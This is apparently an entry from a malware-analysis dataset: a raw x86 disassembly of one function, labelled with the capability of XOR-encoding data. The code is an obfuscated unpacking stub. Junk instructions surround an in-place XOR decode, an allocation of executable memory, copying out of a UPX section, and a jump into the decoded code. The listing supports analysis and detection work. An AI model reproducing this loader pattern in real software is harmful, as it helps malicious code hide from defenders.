Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x9a33dec1
sub ecx, 0xe688b7e1
mov edx, ecx
popal
and edx, ecx
add edx, 0xd244a694
add ecx, 0xc48c6eeb
mov ebx, 0
mov ecx, eax
add edi, esi
sub edi, esi
or esi, edi
mov edx, ecx
sub esi, edi
add esi, 0x65633462
mov eax, edx
sub esi, edi
add edi, edi
dec edi
inc ebx
not edi
or edi, edi
cmp ebx, 0x10082c4
jne 0xa789ce
sub esi, edi
not esi
sub ecx, 1
inc ecx
add ecx, 0x4fd75dae
mov edi, 0xa78796
mov edx, 0xfb9188d2
mov edx, 0x1864826
mov eax, 0xa7898a
and esi, ebx
mov esi, edx
mov ecx, dword [edi]
sub ebx, esi
inc edx
add esi, esi
and ecx, 0xff
dec edx
not ebx
xor dword [eax], ecx
or esi, ebx
sub edx, 0x350cbadd
inc eax
add edx, 1
mov ebx, 0x9d724855
inc edi
dec ebx
sub ebx, 1
inc esi
cmp eax, entry0
jl 0xa78a21
sub esi, edx
inc ebx
sub edx, 0xdabd3d4e
mov ebx, 0xbda90e85
sub edx, esi
sub ebx, 0x7198a753
and ebx, ebx
mov ecx, 0xa7898e
dec esi
inc ebx
add edx, 0x11130a87
mov ecx, dword [ecx]
not esi
sub ebx, 1
sub edx, edi
mov ecx, dword [ecx]
sub edi, esi
mov ebx, edi
sub esi, ebx
push ecx
add esi, ebx
sub edx, 0x29734a9d
or esi, edx
mov ecx, 0xa7898a
mov esi, 0x50b1512e
inc edx
mov ecx, dword [ecx]
add edi, esi
inc edi
sub ebx, 1
mov ecx, dword [ecx]
mov ebx, 0x7620741c
add ebx, esi
dec esi
push 0xa78992
mov edx, 0x94c27e2a
add esi, 0x559668f8
not ebx
call ecx
mov ebx, 0x138001fc
mov esi, 0x598cc421
mov ecx, dword [esp]
add esp, 4
inc edx
add ebx, 0x79d70e34
push 0xa7899f
sub edx, 0xbc225f7c
not edx
push eax
add edi, esi
and esi, esi
call ecx
sub edx, 0xccac71d0
sub edi, 1
dec edx
push 0x40
mov edx, ebx
or edx, esi
push 0x3000
mov edi, ebx
dec edx
and esi, edi
push 0x20000f33
not edx
or esi, esi
mov edi, 0xcf076e8a
push 0
inc esi
mov edi, 0x63d4f210
call eax
add ebx, edx
mov ebx, 0x8633adef
mov ebx, 0x139674c1
add eax, 0x20000e7e
or esi, edi
sub edi, 1
sub ebx, 0x3c49b40
mov ecx, 0x88dc2c91
add esi, edx
mov esi, ebx
mov dword [eax], ecx
mov edx, ebx
and edi, edi
inc esi
mov ecx, dword [eax]
mov edx, edi
dec edi
cmp ecx, 0x88dc2c91
je 0xa78b7e
mov eax, 0
mov byte [eax], dl
or esi, esi
add edx, 0x2ddc36a4
dec ebx
mov ebx, edx
and ebx, ebx
not ecx
sub edx, ecx
mov esi, section.UPX1
or ecx, ecx
sub ecx, edx
mov edx, 0x52293b53
mov edi, 0xa78795
not ecx
mov edx, ecx
sub edx, ecx
mov eax, 0
add ecx, edx
add edx, ecx
mov ecx, 0x562e830b
mov ebx, 0xa78796
sub ecx, edx
or edx, edx
add ecx, 0xc8ef01f6
lea ebx, [ebx + eax]
sub edx, ecx
and ecx, ecx
inc ecx
mov ebx, dword [ebx]
mov edx, 0xed2225e3
dec ecx
not edx
and ebx, 0xff
sub edx, 0x7c4aa67a
sub edx, 0x197a23de
mov ecx, edx
inc eax
add edx, 1
add ecx, 1
cmp eax, 0x1f4
jne 0xa78c05
mov eax, 0
add ecx, 0x61850c19
dec edx
dec edx
dec ecx
inc edx
inc edx
xor dword [esi], ebx
and ecx, ecx
sub edx, ecx
add edx, 0x932cc453
add esi, 2
mov ecx, 0x6370f949
mov edx, 0x26a26866
cmp esi, edi
jl 0xa78bb6
sub ecx, edx
mov ecx, edx
dec edx
or ecx, edx
mov ecx, edx
add ecx, ecx
mov eax, section.UPX1
add edx, edx
or edi, edx
inc edx
mov esi, section.UPX1
dec edx
sub edx, edi
inc edx
mov ecx, 0xa78795
and edi, edi
mov edx, edi
mov ebx, 0
add edx, edi
dec edi
not edx
mov bl, byte [esi]
add edi, 0xc0e779c6
dec edi
mov edi, edx
mov byte [eax], bl
not edi
add edi, 0xc85382a5
sub edi, 0x8dd2cca2
inc eax
inc edx
or edi, edi
add esi, 2
add edx, edi
mov edi, 0xe0720c4a
cmp esi, ecx
jle 0xa78c65
not edi
mov edi, edx
and edx, edx
mov edx, ecx
push 0x8dc6a0
mov edx, 0x5c0fb5be
sub ecx, edx
add edx, 0x4308f1b2
ret